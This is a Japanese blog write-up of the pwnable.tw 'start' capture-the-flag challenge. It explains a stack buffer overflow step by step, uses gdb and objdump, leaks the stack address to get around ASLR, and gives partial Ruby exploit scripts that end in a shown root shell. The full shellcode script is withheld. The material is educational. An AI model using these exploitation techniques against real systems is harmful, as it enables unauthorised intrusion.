pwnable.twのスコア100の問題、「start」のwrite-upです。
昔CTF for Girlsのバイナリ解析の講師をやったときに、講義後に実習ということで簡単な問題をやってもらったのですが、まず何をしていいのか分からないという人が結構いて、その辺を説明しなかったことをずっと後悔していたので、だいぶ詳細に解説してみました。問題自体は基本をおさえたシンプルなもので、バイナリ解析の勉強にはとてもいいのではないかと思います。
なお、諸々思い出すためにも、pwn用ツールは使わずゆっくりじっくりやっています。*1
環境
ホストはMacbook AirでOSはmacOS Catalina、検証環境はDockerで作っていて、OSはUbuntu 18.04です。
検証環境はVirtualBoxでも実機でもなんでも構いません。私は母艦のMBAが不安定なのでこれを機にDockerイメージを作ってみました。
security.nekotricolor.com
以降、MBAのコマンドプロンプトは「%」、Ubuntuは「#」です。
まず何をするか
そもそもフラグとは
「CTFとはCapture the Flagのことで、与えられた問題を解いてフラグを取得する競技です」といわれますが、そもそもフラグってなんなのか、私は最初見当がつきませんでした。
結論から言うと、基本的にフラグは文字列です。
例えば：
- flag.txtに「my lovely willian」と書かれている
- ポップアップで「The flag is {my lovely willian}」と表示される
- 画像ファイルに文字列で「The flag is {my lovely willian}」と書かれている
これらの問題のフラグは全て、「my lovely willian」という文字列です。（{}が含まれる場合もある）
pwnable.twの場合、トップページに「The flag is usually at /home/xxx/flag」と書かれていますので、通常はログインしたユーザのホームディレクトリにある、「flag」というファイルに書かれている文字列がフラグということになります。
問題に書かれているものをとりあえずやってみる
challenges/のstartをクリックすると、以下のような画面が出ます。
とりあえず書いてあるコマンドを実行してみます。
% nc chall.pwnable.tw 10000 Let's start the CTF: %
「Let's start the CTF:」という文字列が出て待ち状態になり、リターンを押すと接続が切れます。どうやらここになにか文字列を入れればいいらしい、と予想がつきます。
startファイルをダウンロード
上記の画面から「start」がダウンロードできます。ホストとDockerコンテナで共有しているフォルダに置いて、このファイルをDocker上で調べてみます。
fileコマンド
fileコマンドで、このファイルがなんなのかを確認。
# file start start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
実行ファイルのようです。
stringsコマンド
フラグの文字列がまんま入ってる可能性も無きにしも非ずなので、stringsコマンドで、ファイル内の表示可能な文字列を表示してみます。ファイルサイズが大きいとブワッと出てしまいますが、このファイルは564バイトしかないので安心。
# strings start hCTF:hthe hart hs sthLet' start.s _exit __bss_start _edata _end .symtab .strtab .shstrtab .text
残念ながらフラグはありませんでしたが、__bss_startとか.textとかでてるので、実行ファイルで確定のようですね。
ファイルを実行
提供されたファイルが何か、で次に何するかを決めます。といってもまだ難しいことをするわけではなく、
- 実行ファイルなら実行する
- 画像ファイルならブラウザ等で表示する
- tcpdumpの結果ならWireshark等で開く
という感じです。
今回は実行ファイルですので、実行してみます。
# ./start Let's start the CTF:
最初にncコマンドで接続したときと同じ文字列が出て待ち状態になります。つまり、chall.pwnable.twの10000番ポートに接続するとこのstartが実行されるのでしょう。
文字列が入力できるときは、とりあえず大量に「a」を入力してみます。
# ./start Let's start the CTF:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Segmentation fault (core dumped)
異常終了しました。
「たくさん文字を入れると異常終了する」ということが分かりました。
Exploit
ここから難しくなってきます。デバッグの方法やレジスタ・スタック等の基本については、手前味噌な上に未完ですが、こちらを参照していただければ幸いです。gdbではなくOllyDbgというWindowsのGUIのツールを使って説明しています。こちらの方がアセンブリコードやレジスタなどの仕組みそのものを知るには分かりやすいと思います。
gdb上で実行する
すぐにファイルをdumpしてアセンブリコードを読んでもいいのですが、せっかく異常終了したので先にgdb上で実行して大量の文字列を入力してみます。
# gdb -q start Reading symbols from start...(no debugging symbols found)...done. (gdb) r Starting program: /root/share/start Let's start the CTF:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Program received signal SIGSEGV, Segmentation fault. 0x61616161 in ?? ()
あらやだいきなりeipが書き換わってる。バッファオーバーフローですね。
どこの部分がeipになっているか、古典的方法で確認します。
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/share/start
Let's start the CTF:1234567890abcdefghijklmnopqrstuvwxyz!-#$%&'()=~|`{+*}<>?_
Program received signal SIGSEGV, Segmentation fault.
0x6e6d6c6b in ?? ()
0x6e6d6c6bということは、「nmlk」の部分、21文字目からの4バイトですね。（リトルエンディアンなので、表示が逆になっています）
objdumpによる逆アセンブル
startが何をやっているかは、objdumpコマンドで見ることができます。長いとここで挫折しますが、startはとても短いので読む気になります。読みやすくするよう行番号を付けました。
# objdump -D start start: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: [01] 8048060: 54 push %esp [02] 8048061: 68 9d 80 04 08 push $0x804809d [03] 8048066: 31 c0 xor %eax,%eax [04] 8048068: 31 db xor %ebx,%ebx [05] 804806a: 31 c9 xor %ecx,%ecx [06] 804806c: 31 d2 xor %edx,%edx [07] 804806e: 68 43 54 46 3a push $0x3a465443 [08] 8048073: 68 74 68 65 20 push $0x20656874 [09] 8048078: 68 61 72 74 20 push $0x20747261 [10] 804807d: 68 73 20 73 74 push $0x74732073 [11] 8048082: 68 4c 65 74 27 push $0x2774654c [12] 8048087: 89 e1 mov %esp,%ecx [13] 8048089: b2 14 mov $0x14,%dl [14] 804808b: b3 01 mov $0x1,%bl [15] 804808d: b0 04 mov $0x4,%al [16] 804808f: cd 80 int $0x80 [17] 8048091: 31 db xor %ebx,%ebx [18] 8048093: b2 3c mov $0x3c,%dl [19] 8048095: b0 03 mov $0x3,%al [20] 8048097: cd 80 int $0x80 [21] 8048099: 83 c4 14 add $0x14,%esp [22] 804809c: c3 ret 0804809d <_exit>: 804809d: 5c pop %esp 804809e: 31 c0 xor %eax,%eax 80480a0: 40 inc %eax 80480a1: cd 80 int $0x80
逆アセンブルした結果を読む
_start関数を読んでいきます。_exit関数は単にexitするだけみたいなので割愛。
01行目：この時点でのespの値をスタックに格納。
02行目：_exitの先頭アドレスを格納。
03〜06行目：eax、ebx、ecx、edxを0x00に。
07〜11行目：「Let's start the CTF:」という文字列をスタックに格納
12行目：この時点でのespの値をecxに格納
13行目：edxに0x14を格納
14行目：ebxに0x01を格納
15行目：eaxに0x04を格納
16行目：call命令を実行。何をどう実行するかはレジスタの値で決まる。ここでは、標準出力に（ebxが
0x01）、ecx（12行目によりespと同値）を先頭アドレスとした文字列を、20バイト（edxが0x14＝20）write（eaxが0x04）する。つまり、標準出力に「Let's start CTF:」をwriteする。
17行目：ebxを0x00に。
18行目：edxに0x3cを格納。
19行目：eaxに0x03を格納。
20行目：call命令を実行。ここでは、標準入力から（ebxが0x00）、60バイト（edxが0x3c=60）read（eaxが0x03）するという意味。
21行目：espに0x14を加える。
22行目：retする。
ということでstartは「Let's start CTF:」と表示し、標準入力から60バイト読み込み、終了している、ということが分かります。たいしたことはやっていません。
バッファオーバーフローはどこで起こるのか
スタックの状態を図にすると以下のようになります。
20バイト分しか書き込める場所がないのに、read()で60バイト読み込んでいるところが脆弱性です。read()した瞬間、緑色の部分が標準入力された文字列に書き換わります。入力が20バイト以内なら何も起きませんが、20バイト以上になると22行目でretしたときにジャンプする先のアドレス（0x0804809d、つまり_exit関数の先頭アドレス）が書き換わってしまいます。「aaaa...」と入力すると、上図一番右の「????」の部分も「aaaa」と書き換わってしまい、retするとeipが0x61616161になってしまうので、Segmentation faultしてしまうというわけです。
以下、eipが書き換わる瞬間を捉えたgdbです。
# gdb -q ./start Reading symbols from ./start...(no debugging symbols found)...done. (gdb) b _start Breakpoint 1 at 0x8048060 (gdb) r Starting program: /root/share/start Breakpoint 1, 0x08048060 in _start () (gdb) disas Dump of assembler code for function _start: => 0x08048060 <+0>: push %esp 0x08048061 <+1>: push $0x804809d 0x08048066 <+6>: xor %eax,%eax 0x08048068 <+8>: xor %ebx,%ebx 0x0804806a <+10>: xor %ecx,%ecx 0x0804806c <+12>: xor %edx,%edx 0x0804806e <+14>: push $0x3a465443 0x08048073 <+19>: push $0x20656874 0x08048078 <+24>: push $0x20747261 0x0804807d <+29>: push $0x74732073 0x08048082 <+34>: push $0x2774654c 0x08048087 <+39>: mov %esp,%ecx 0x08048089 <+41>: mov $0x14,%dl 0x0804808b <+43>: mov $0x1,%bl 0x0804808d <+45>: mov $0x4,%al 0x0804808f <+47>: int $0x80 0x08048091 <+49>: xor %ebx,%ebx 0x08048093 <+51>: mov $0x3c,%dl 0x08048095 <+53>: mov $0x3,%al 0x08048097 <+55>: int $0x80 0x08048099 <+57>: add $0x14,%esp 0x0804809c <+60>: ret End of assembler dump. (gdb) b *0x0804809c Breakpoint 2 at 0x804809c (gdb) c Continuing. Let's start the CTF:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Breakpoint 2, 0x0804809c in _start () (gdb) i r eax 0x2b 43 ecx 0xffffd724 -10460 edx 0x3c 60 ebx 0x0 0 esp 0xffffd738 0xffffd738 ebp 0x0 0x0 esi 0x0 0 edi 0x0 0 eip 0x804809c 0x804809c <_start+60> eflags 0x282 [ SF IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0 (gdb) x/10x $esp 0xffffd738: 0x61616161 0x61616161 0x61616161 0x61616161 0xffffd748: 0x61616161 0xff0a6161 0xffffd896 0xffffd8ac 0xffffd758: 0xffffd8b4 0xffffd8c4 (gdb) si 0x61616161 in ?? () (gdb) i r eax 0x2b 43 ecx 0xffffd724 -10460 edx 0x3c 60 ebx 0x0 0 esp 0xffffd73c 0xffffd73c ebp 0x0 0x0 esi 0x0 0 edi 0x0 0 eip 0x61616161 0x61616161 eflags 0x282 [ SF IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0
シェルコードを書く
シェルコードと一言で言ってもいろいろなものがあるわけですが、今回は最もシンプルな、/bin/shを起動するものを使います。/bin/shを起動することで、以降任意のコマンドが実行できます。
/bin/shを起動するには、以下のシステムコールを実行します。
execve("/bin/sh", ["/bin/sh", 0], [0]);
execve()のシステムコールの番号は0x11、つまりeaxを0x11としてint 80すれば良い。引数の"/bin/sh"はスタックに入れてそこのアドレスをebxに・・・書くのが面倒なので以下のサイトを参考にさせていただきました。ただし、コードを短くするためにecxとedxに0x00をmovしているところはxorに変えました。
シェルコードの先頭アドレスはどこか
startをexploitして任意のコマンドを実行できるようにするためには、
- 任意の文字列 * 20
- シェルコードの先頭アドレス
- /bin/shを起動するシェルコード
をひとまとめにした文字列を、「Let's start CTF:」と表示された後に書き込めば良い、ということになります。
図にするとこういう感じです。
では、シェルコードの先頭アドレスとはどこなのか？
ここは結構考えさせられました。Ubuntuでは、アドレス空間配置のランダム化、ASLRがデフォルトで有効になっています。つまり、スタック領域の配置が、startが実行されるごとに大きく変わってしまうため、スタック領域に書き込んだシェルコードの先頭アドレスがどこなのか、事前には分かりません。
ということで、_start関数を実行中に、スタック領域のアドレス、espなりebpなりを取ってこなければなりません。
そこで注目したのは、_start関数の01行目、なぜかespをpushしているんですよね。
普通、関数が始まる時というのはebpをpushするものなのになんでだろう？と思ったのですが、これとwrite()を組み合わせることで、標準出力にespを表示させることができるのです！
どういうことかというと：
たとえば、20個の「a」を入力した場合、retが実行された時点でのスタックの状態は以下のようになります。
retはpopしてスタックから値を取り出し、その値にjmpする命令です。つまりretが実行されると（popにより）espが4バイト下がって、start開始時のespが入っているところを指します。
ここで思い出すのはアセンブリコードの16行目。
16行目：call命令を実行。何をどう実行するかはレジスタの値で決まる。ここでは、標準出力に（ebxが0x01）、ecx（12行目によりespと同値）を先頭アドレスとした文字列を、20バイト分（edxが0x14＝20）write（eaxが0x04）する。
ちょっと分かりづらいんですが、上図のように、espが、start開始時のespが入っているところを指しているときに12行目〜16行目を実行すれば、start開始時のespがwrite()されることになります。
つまり。最初に、
[任意の文字列] * 20バイト + 12行目のアドレス（0x08048087）
を与え、0x08048087にjmpさせてstart開始時のespをwrite()で標準出力に表示させ、それをもとにシェルコードの先頭アドレスを求めて、続けて
[任意の文字列] * 20バイト + シェルコードの先頭アドレス + シェルコード
を与えれば、シェルコードが実行されるはずです。
Capture the Flag
さて、いよいよリモートホスト上で実行されるstartに前述の文字列を与えていくわけですが、ここからはexploitとはまた少し違う問題があります。標準入力の特定の部分に、アドレスやシェルコードをどうやって書くか。これも初めてやるとき戸惑いませんでした？人の手では書くことはできませんよね。「b80b0000・・」とか手で入力しても文字として認識されるだけですので。
そこで、バイナリを含む文字列を送信するようなスクリプトを書くことになります。
10000番ポートに接続し、文字列を送信するスクリプト
今回の問題では、リモートホストの10000番ポートに接続して、「Let's start CTF:」という文字列が表示された後に、前述したアドレスやシェルコードを含む文字列を送信する必要があります。そういうスクリプトをRubyで書きます。Pythonの方が書きやすいと思いますしCでもPerlでもなんでもOKです。
まずはDocker環境の中で、自身の10000番ポートに接続して文字列を入力するRubyスクリプトを書いてみました。*2
# encoding: ASCII-8BIT require 'socket' HOSTNAME = "localhost" #HOSTNAME = "chall.pwnable.tw" PORTNUM = 10000 s = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM, 0) sockaddr = Socket.sockaddr_in(PORTNUM, HOSTNAME) s.connect(sockaddr) print(">> ", s.recvfrom(4096)[0], "\n") print("<< aaaaaaaaaaaa\n") s.write("aaaaaaaaaaaa") print(">> ", s.recvfrom(4096)[0], "\n")
これを実行すると、ローカルホストの10000番ポートに接続し、返答を受け取り、「aaaaaaaaaaaa」という文字列を送信し、返答を受け取る、ことができます。
リモートホストからの返信には「>>」を、こちらからの送信には「<<」を先頭につけています。このRubyスクリプトを実行すると以下のような結果になります。
# ruby socket_test.rb >> Let's start the CTF: << aaaaaaaaaaaa >>
espを取得してみる
start開始時のespを取得するには、[任意の文字列] * 20バイト + 12行目のアドレス（0x08048087）を送信します。受信した最初の4バイトがstart開始時のespです。packとかunpackとかほんとハマったんですけど、そこは本筋と関係ないので割愛します。
# encoding: ASCII-8BIT require 'socket' HOSTNAME = "localhost" #HOSTNAME = "chall.pwnable.tw" PORTNUM = 10000 ret_addr_arry = [] addr_for_esp = "\x87\x80\x04\x08" s = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM, 0) sockaddr = Socket.sockaddr_in(PORTNUM, HOSTNAME) s.connect(sockaddr) print(">> ", s.recvfrom(4096)[0], "\n") payload = "a" * 20 payload = payload + addr_for_esp s.write(payload) esp = s.recvfrom(4)[0].unpack("I*")[0] print(">> ", esp.to_s(16), "\n")
これを実行してみると、今回のstart開始時のespは0xffb94ca0であることがわかります。
# ruby get_esp.rb >> Let's start the CTF: >> esp: ffb94ca0
任意のコマンドを実行できるようにする
上記スクリプトの後ろに、[任意の文字列] * 20バイト + シェルコードの先頭アドレス + シェルコードという文字列を作って送信するスクリプトを追加します。
スクリプトはずばり答えになっちゃうので載せませんが（pwnable.twのwrite-upにあります。クリアした人のみ読めるページです）、これで、任意のコマンドが実行できるようになりました。idコマンドとuname -aコマンドを実行した結果を書いておきます。
# ruby 100start_exploit.rb >> Let's start the CTF: >> esp: ffacb510 << Sending shellcode.... >> ???????? << id >> uid=0(root) gid=0(root) groups=0(root) << uname -a >> Linux a3b4df01deae 4.19.76-linuxkit #1 SMP Thu Oct 17 19:31:58 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
（おまけ）プロセスにアタッチしてみる
スクリプトの途中にsleep()を入れ、別のターミナルでgdbでプロセスにアタッチすると、start実行途中のレジスタやスタックの状態がどうなっているか見られます。自分の想定している通りの文字列が送信されているか、シェルコードの先頭アドレスは正しいか、など確認することができます。
# ps -aef UID PID PPID C STIME TTY TIME CMD root 1 0 0 02:12 pts/0 00:00:00 /bin/bash root 166 0 0 02:13 pts/2 00:00:00 bash root 340 0 0 02:16 pts/1 00:00:00 bash root 968 1 0 02:48 pts/0 00:00:00 /bin/sh start.sh root 1217 968 0 02:55 pts/0 00:00:00 start root 1218 340 2 02:56 pts/1 00:00:00 ruby 100start_exploit.rb root 1246 166 0 02:56 pts/2 00:00:00 ps -aef
startのプロセス番号は「1217」ですね。gdbでプロセスにアタッチするには、-p [プロセス番号]をつけます。
# gdb -q -p 1217 Attaching to process 1217 Reading symbols from /root/share/start...(no debugging symbols found)...done. 0x08048099 in _start () (gdb) disas Dump of assembler code for function _start: 0x08048060 <+0>: push %esp 0x08048061 <+1>: push $0x804809d 0x08048066 <+6>: xor %eax,%eax 0x08048068 <+8>: xor %ebx,%ebx 0x0804806a <+10>: xor %ecx,%ecx 0x0804806c <+12>: xor %edx,%edx 0x0804806e <+14>: push $0x3a465443 0x08048073 <+19>: push $0x20656874 0x08048078 <+24>: push $0x20747261 0x0804807d <+29>: push $0x74732073 0x08048082 <+34>: push $0x2774654c 0x08048087 <+39>: mov %esp,%ecx 0x08048089 <+41>: mov $0x14,%dl 0x0804808b <+43>: mov $0x1,%bl 0x0804808d <+45>: mov $0x4,%al 0x0804808f <+47>: int $0x80 0x08048091 <+49>: xor %ebx,%ebx 0x08048093 <+51>: mov $0x3c,%dl 0x08048095 <+53>: mov $0x3,%al 0x08048097 <+55>: int $0x80 => 0x08048099 <+57>: add $0x14,%esp 0x0804809c <+60>: ret End of assembler dump. (gdb) b *0x08048087 Breakpoint 1 at 0x8048087 (gdb) c Continuing. Breakpoint 1, 0x08048087 in _start ()
フラグをゲット
接続先をlocalhostからターゲットホストに変更して実行すれば、ターゲットホスト上で任意のコマンドが実行可能になります。フラグのファイルを探し、catコマンドなり何なりで中を見ればフラグが書いてあります。
感想
「あれ・・ステップ実行って"s"じゃなかったっけ・・あああ"si"いいいいいい」「こういうときってどーすんだっけ・・・はっアタッチ・・sleepしてアタッチや！」「あれっなんか想定とシェルコードが違う・・リトルエンディアンでしたあああああ」とか大変楽しくリハビリできました。私がexploitコードを本気で書いていたのは20年近く前ですが、今回の問題はその頃の知識をそのまま使えた上に、ASLRというちょっとしたエッセンスが追加されていて（当時はなかった）、リハビリにはぴったりなものでした。eipが0x61616161とか0x90909090（パディングによく使われるNOP）とかに書き換わったときにYES!ってなる感じ、久々に味わったなー。当時はgdb+PerlとかVisual Studio+VCで頑張ってたんですよねー。SPARCは固定長命令とビッグエンディアンで分かりやすくて美しかったなぁ・・。
懐古ついでにこちらも紹介。ハッカーの古典、Aleph Oneによる「Smashing The Stack For Fun And Profit」。今回のスタックベースのバッファオーバーフローの仕組みについて丁寧に解説されています。
素晴らしい日本語訳が、「趣味と実益のスタック破壊」として公開されています。（残念ながらもうアーカイブしか残っていないようです）
にしても、当時はリモートでもローカルでも自社内に実機で環境を作ってやっていたので、シェルコードを含むパケットをインターネット越しに投げたのはたぶん生まれて初めてなんじゃないかと・・。いやもちろんそのためのサイトなのでなんの問題もないのですが、ちょっと緊張しました。
今回は心赴くままにガッツリと検証してあれこれ試しましたが、次回以降はpwn用のツールもいろいろと使ってみようと思います。
関連記事
調子に乗って次の問題「orw」のwrite-upも書きました。
security.nekotricolor.com
